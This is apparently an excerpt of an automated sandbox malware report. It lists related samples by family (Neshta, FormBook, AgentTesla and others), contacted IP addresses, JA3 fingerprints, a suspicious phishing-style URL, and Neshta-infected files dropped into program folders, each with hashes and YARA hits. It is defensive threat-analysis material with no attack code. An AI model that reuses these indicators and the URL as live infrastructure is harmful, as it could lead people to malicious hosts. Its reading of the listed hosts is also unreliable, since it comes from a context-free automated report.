	LisectAVT_2403002B_444.exe	Get hash	malicious	Discord Token Stealer, NitroRansomware	Browse	162.159.128.233
	LisectAVT_2403002B_448.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	23.227.38.32
	LisectAVT_2403002B_466.exe	Get hash	malicious	FormBook	Browse	104.21.25.75
	LisectAVT_2403002B_457.exe	Get hash	malicious	Unknown	Browse	172.67.134.189
	LisectAVT_2403002B_465.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
CLOUDFLARENETUS	LisectAVT_2403002B_404.dll	Get hash	malicious	Ramnit	Browse	172.64.41.3
	LisectAVT_2403002B_412.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	Ewhite Replay VM .docx	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.17.25.14
	Shipping_Details_Details.html	Get hash	malicious	Unknown	Browse	188.114.96.3
	LisectAVT_2403002B_428.exe	Get hash	malicious	Coinhive, Ramnit, Xmrig	Browse	172.64.41.3
	LisectAVT_2403002B_444.exe	Get hash	malicious	Discord Token Stealer, NitroRansomware	Browse	162.159.128.233
	LisectAVT_2403002B_448.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	23.227.38.32
	LisectAVT_2403002B_466.exe	Get hash	malicious	FormBook	Browse	104.21.25.75
	LisectAVT_2403002B_457.exe	Get hash	malicious	Unknown	Browse	172.67.134.189
	LisectAVT_2403002B_465.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	LisectAVT_2403002B_420.exe	Get hash	malicious	Bdaejec	Browse	149.154.167.220 172.67.196.114
	LisectAVT_2403002B_429.exe	Get hash	malicious	Bdaejec	Browse	149.154.167.220 172.67.196.114
	LisectAVT_2403002B_437.exe	Get hash	malicious	CryptOne	Browse	149.154.167.220 172.67.196.114
	LisectAVT_2403002B_444.exe	Get hash	malicious	Discord Token Stealer, NitroRansomware	Browse	149.154.167.220 172.67.196.114
	LisectAVT_2403002B_484.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	149.154.167.220 172.67.196.114
	LisectAVT_2403002B_463.exe	Get hash	malicious	Bdaejec	Browse	149.154.167.220 172.67.196.114
	LisectAVT_2403002B_457.exe	Get hash	malicious	Unknown	Browse	149.154.167.220 172.67.196.114
	LisectAVT_2403002B_465.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 172.67.196.114
	Shipping Documents 7003829465.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 172.67.196.114
	https://netall0htn.xyz/n/?c3Y9bzM2NV8yX25vbSZyYW5kPVNVMWtjbFJqWlZSNk9VbHhjbVk1ZEdOWWMyRT0mdWlkPVVTRVIxNjA3MjAyNFVOSVFVRTExMDcwNzE2MzAyMDI0MjAyNDA3MTYwNzExMzA=N0123N%5BEMail%5D	Get hash	malicious	Unknown	Browse	149.154.167.220 172.67.196.114

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\AutoIt3\Au3Check.exe	LisectAVT_2403002C_136.exe	Get hash	malicious	Neshta	Browse
	LisectAVT_2403002C_94.exe	Get hash	malicious	Neshta	Browse
	k08NKOrLnV.exe	Get hash	malicious	Neshta	Browse
	7Y18r(237).exe	Get hash	malicious	Neshta	Browse
	j0YbOkWzEK.exe	Get hash	malicious	Neshta	Browse
	Ia93PTYivQ.exe	Get hash	malicious	BlackMoon, Neshta	Browse
	svchost.com.exe	Get hash	malicious	Neshta	Browse
	cfxD1R99SR.exe	Get hash	malicious	Neshta	Browse
	drfdVGEqvk.exe	Get hash	malicious	Neshta	Browse
	HBod1MLlWa.exe	Get hash	malicious	Neshta	Browse
C:\Program Files (x86)\AutoIt3\Au3Info.exe	LisectAVT_2403002C_136.exe	Get hash	malicious	Neshta	Browse
	LisectAVT_2403002C_94.exe	Get hash	malicious	Neshta	Browse
	k08NKOrLnV.exe	Get hash	malicious	Neshta	Browse
	7Y18r(237).exe	Get hash	malicious	Neshta	Browse
	j0YbOkWzEK.exe	Get hash	malicious	Neshta	Browse
	Ia93PTYivQ.exe	Get hash	malicious	BlackMoon, Neshta	Browse
	svchost.com.exe	Get hash	malicious	Neshta	Browse
	cfxD1R99SR.exe	Get hash	malicious	Neshta	Browse
	drfdVGEqvk.exe	Get hash	malicious	Neshta	Browse
	HBod1MLlWa.exe	Get hash	malicious	Neshta	Browse

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Au3Check.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	275560
Entropy (8bit):	6.2970746701197715
Encrypted:	false
SSDEEP:	3072:sr85CqP5KVkD8QC2mCBFv9m7usyT8tKQ9clyPqlO91/iDVSsWUG0bCP0BwOvOIXM:k9q4VQjVsxyItKQNhigibKCM
MD5:	C5611345B2807155BF89ECA90379AB14
SHA1:	03A0F7BD2A50895DF6A9311DB3E5C58B574E1BA3
SHA-256:	6AB1464D7BA02FA63FDDFAF5295237352F14F7AF63E443E55D3FFB68A304C304
SHA-512:	18C164973DE987AD9ED1CFCB2AE5557238692B5C50E0F8B8DCECF0B11B2DADBA6C0B5990C532AE8DB578F04BD1CAB3086C78493866C8B989A41DD6251693CA98
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, Author: Joe Security Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: LisectAVT_2403002C_136.exe, Detection: malicious, Browse Filename: LisectAVT_2403002C_94.exe, Detection: malicious, Browse Filename: k08NKOrLnV.exe, Detection: malicious, Browse Filename: 7Y18r(237).exe, Detection: malicious, Browse Filename: j0YbOkWzEK.exe, Detection: malicious, Browse Filename: Ia93PTYivQ.exe, Detection: malicious, Browse Filename: svchost.com.exe, Detection: malicious, Browse Filename: cfxD1R99SR.exe, Detection: malicious, Browse Filename: drfdVGEqvk.exe, Detection: malicious, Browse Filename: HBod1MLlWa.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	217704
Entropy (8bit):	6.606010943993646
Encrypted:	false
SSDEEP:	3072:sr85CFxFVaK4T6fWSlXe0lJQafeyrR0kr/yh5DEU/Pk13TfwqiTP0McBUNnUxTtM:k9P2K4TSFo5Y683TdiQMcGNUl4N
MD5:	D103610D5A97A461DE47D79EBC364E23
SHA1:	B7AC0C939E39117C2FA939D47322A8B9FAF5AD0D
SHA-256:	6CF772752F25B150052F17600F5D08876E87FCAF774CE834A896688B1836BFD7
SHA-512:	97A467B62C96BF51CC5904B1EF1CB0D416364B2C835A326BFE7F5357823B07F5541C8DF5AD2195583ED108B90E5EDF820E2C3CAD42CFAA5FB67BF8CC1B9026E2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: LisectAVT_2403002C_136.exe, Detection: malicious, Browse Filename: LisectAVT_2403002C_94.exe, Detection: malicious, Browse Filename: k08NKOrLnV.exe, Detection: malicious, Browse Filename: 7Y18r(237).exe, Detection: malicious, Browse Filename: j0YbOkWzEK.exe, Detection: malicious, Browse Filename: Ia93PTYivQ.exe, Detection: malicious, Browse Filename: svchost.com.exe, Detection: malicious, Browse Filename: cfxD1R99SR.exe, Detection: malicious, Browse Filename: drfdVGEqvk.exe, Detection: malicious, Browse Filename: HBod1MLlWa.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	237160
Entropy (8bit):	6.441042873341931
Encrypted:	false
SSDEEP:	3072:sr85CuyRnuBGwl/1Gc9QnvGqyWQ93kr/yh5DEU/P5kP0zU35iuvQBUeGMLu:k9tl3wdYtcH9b5Y651zU77Ea
MD5:	3256A5B6BEBFC57A3CC7C74801B06B57
SHA1:	7AEFDEDF3B79F68884A780082FC12AF565FE80DA
SHA-256:	A2791E10861628C1AC263A540A6D575275F9E3E22A31BB62AB1320EAAED0C982
SHA-512:	111928B9435B7F6721919E58C3248E985C1FA76EB2E9C18559374847C6B8F54499BE6FDA36724F568384A32F1E4D91EC6F0A51ABECFE585740CE1916E5205B09
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1675872
Entropy (8bit):	7.455008835300499
Encrypted:	false
SSDEEP:	24576:LC51xB6B9YNgqe1xTVIlz7X9zOo4PjnikEpx/nLWvJ+l:sK0eqkSR7Xgo4TiRPnLWvJY
MD5:	3E25798A6593021C594E9B0F5E4D1CC0
SHA1:	0F412F338A8323C62D21606629B121DDC5A11C2F
SHA-256:	4ED44421F087BC78474EE5512BC85FDF8602D651C144CC97449C332E19B07C10
SHA-512:	ABAF3628ADB6C48F606DFE67EB777EB3C2B5D3E635996E6E673E3183ACC766A5E0341F1FB79436268DCF0FFF6889F997A77344CC39CC65D06248ADE8A9F43991
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1841760
Entropy (8bit):	7.348031538890329
Encrypted:	false
SSDEEP:	24576:5EeK2NocwiN/jc41p3qp11JsqbhOUe1xTVIlz7X9zOo4PjnikEpx/nLWvJ+i:rfYP1JsEDkSR7Xgo4TiRPnLWvJD
MD5:	A80324ADD872CA0150B9A23F0FE412D0
SHA1:	D8B4074235B24DB9B9238FE7985C4D0A909297E1
SHA-256:	6BB5BB976CDDCA2A12E007B6B65E675990ABE3819906069DD6DB5867C0AFD943
SHA-512:	BC1AE9D3976F210F161EE1B8E43698C9B717E216B3E35F6E15C7D38FE5D82DEFB843104B0FBEF56842E7B10CF50DFE2206F7E5C2117AFF0D99AB7B4EE7708915
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	346624
Entropy (8bit):	7.904139028422803
Encrypted:	false
SSDEEP:	6144:k9ypXDXz7yIrozs0WuNd3ojusBdgnNW6r4F53ttuGENGFdVCLEYnPO1D7YYoSyZV:V9zGImAjJdcH4j3ttzFdVCLNSfHoSWCG
MD5:	4D2A6099D369E478E6B97ECA38DF66FF
SHA1:	F8A2EFB513BC22A550E1DAADB7765D3691795D05
SHA-256:	E8657C5096C1D6059D7862D842C93EE9D7C16331EFBEC02C99BECA1ACEF0E4D7
SHA-512:	7BC01CBF7A591AAC71439A126940D1374B6BB49A3109651EB9525026EAB22AD70558FFB8723838C33830467D1B7DBE72E76BA84925BFECD405E10B83FFDF8A45
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	165976
Entropy (8bit):	6.142151879298232
Encrypted:	false
SSDEEP:	3072:sr85C54kvQ4gXIRSG+7IJqC3CJyoDjpBnjkP0XGx2SYg+b/Q+y1s3:k96nGZLknnj1X62SYdb4I
MD5:	DC83EC579923AE57218540FC07BF2040
SHA1:	E66D11E9A1E1C5FAD6A6D7B3F4ABDEB1A446A873
SHA-256:	13E946747F9CD00EC7347780C1D0887C22EE43B8677337B32B0C9CA8070E09B5
SHA-512:	3990D01D0B492961B1F15A15BA12E0213A5C5B72D5B2809B2A58BFF6A2AB2C37058540D8C9F8E5524FA6EBBE72A0BEB1317AA07D06E8D326DCC234EF4F82CC13
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1113176
Entropy (8bit):	6.4474669878621365
Encrypted:	false
SSDEEP:	24576:wTC6Rb6qu1PyC+NRLtpScpzbtT7pyOolKL8Sq/jrc5xaNIBg:w+6AqSPyC+NltpScpzbtvpJoMQSq/jrL
MD5:	17047620C59D9FE748AA05010D507AC9
SHA1:	5B0D5B70529A435FF5BC75376B472393485C9871
SHA-256:	C539E191A88228427976838CDBEC85CCDBD82540544615055E8F91BE803568D5
SHA-512:	21EE706E62D205C09602EDAC232878743F46EEDDF76CD6625926F7C64E89AB27883497A1785D31D8D354E0F20C05C39F39566F6505450B9DB47D057FD7E5BAA1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2414080
Entropy (8bit):	6.729178086017267
Encrypted:	false
SSDEEP:	49152:3EGSXoV72tpV9XE8Wwi1aCvYMdRluS/fYw44RxL8:U4OEtwiICvYMpfc
MD5:	249BBE06632E2A230917599D7E07C3B0
SHA1:	E61C25BBEBA924006CA9DCED18549C72856FC205
SHA-256:	A232299F45362340795849140E955B1FE202928E21FF5BB016A03471C80A2FA3
SHA-512:	537050319C5BC05A3DF9A5629CAD25FC2CD4A28078CF6932C0434F5FF135653300D90030D1F097607FD7257130D70A91B7235AAD82A07199891C25E8EE5DD8B1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\AutoIt3\Uninstall.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	113233
Entropy (8bit):	6.788395365702366
Encrypted:	false
SSDEEP:	3072:sr85CWCrNGEtajbefY/TU9fE9PEtuGCrK:k9WCrAEt+cYa6YCrK
MD5:	BA9FF8A299799820F7252C401EA47ECB
SHA1:	D8123BDB9E57F1364E304209F149360880F26C3F
SHA-256:	6938E7E71C8AB309A57D7C7C2B764F888AD6A9B8807200E573CA6B7183B11FF6
SHA-512:	A62D6818EFB2FAAE9012377319277B7E8F31FD32326EFE1011D1D874006B3C6020DC3F4DE429B9DD4F4B137E2954A0469DEF997692BA72DF21AFC0F6B505C54B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\Uninstall.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Uninstall.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	409608
Entropy (8bit):	6.462760862163708
Encrypted:	false
SSDEEP:	6144:k9hvqF1Ged2RYbguEuFuTkdj+zRGa7JkjrXyPyMMWvpBVOaqahUqjAGT:LbgvuFuQdj+zRTJkX8yMhB3jhBAi
MD5:	1641D233388AEAE9D77CFC976D5427FD
SHA1:	C33533FCDC02E6255A1863102038C961E82BFD63
SHA-256:	D996D5C70C926BD6265607C6536C2B575427F11046E5FCA5AC32768E2AE81EF6
SHA-512:	A959BC2A3F6A96EC44EE1F58A0E5C6D791158D4935DE8357091A273F2120993438B4883A9C919824F7C6D91462F7B97C7BAA6B3AF4829B63204A5135D4895CDD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	214512
Entropy (8bit):	6.4940889932550885
Encrypted:	false
SSDEEP:	3072:sr85CxGnUI/9FXK4+PoSZSb5qURwubvvnzdl1CkTlxAenDl3SoxceC76JNKjzDI5:k9xGUcsvZZvUmubv7hTHA8l3yROJyDI5
MD5:	BB00882A877F34EF5C0FB4FEEFE0C351
SHA1:	79B64FE2910FF50820B0C83BD52857ADBAEE5AC2
SHA-256:	45E860894975F6F06D453668E5A4BC99A9C9F20E1D10B29C889280C03FBD6174
SHA-512:	C7EBBA30720AE9482D889C27A7434328D098A66CC08BFD6A4F96B92C7799FB6E3784BD63BA00E5C03F168D45B164DAB8953042AAF1D9450452C217A9C724AAB9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	568400
Entropy (8bit):	6.67410873638024
Encrypted:	false
SSDEEP:	12288:pyvTCXdXikLj2jR7trg6Qi3vYsKTU00vq:pyyLj8trn3wsq0vq
MD5:	4742CA122FBE7E689F0AB4DCE9507986
SHA1:	5DF6FDFA6E97A57A4F957EEB4520BA378F850B16
SHA-256:	D91AA424DAFC703F0DD4173FDFAF017F8203D42F78E2219C21714E81F740991B
SHA-512:	0643D24C897A268C2537F0EA885AB7C1263E1648AEE3350521C04695ABAABC2908C5A1F262C17A6918C30608D40D1B61A5EE9A0BB027BDFF9D8D6FA7AFA7996F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1252432
Entropy (8bit):	6.763931251276611
Encrypted:	false
SSDEEP:	24576:R0n7Ubxk/uRvJqLGJLQ4a56duA/85RkV4l7/ZeoMOp:S4iwwGJra0uAUfkVy7/ZX
MD5:	B248EF0A955B4F85B13A4F2039C4F757
SHA1:	B48E6437A4D0998F47606660AE97BAD147D2E873
SHA-256:	E46F55F9E2C74FD3E46A67DA5CB29EB2458ABCF8134D2E447AE91F408B5CD3DD
SHA-512:	EE58707EF36F8E0499CD45C985A91390241064F07CFB1F74B2F5AF1270631C5DB34A9F517F89C45EADF9D8914301C24A80359C22589934C98716E472AC21AB50
Malicious:	true
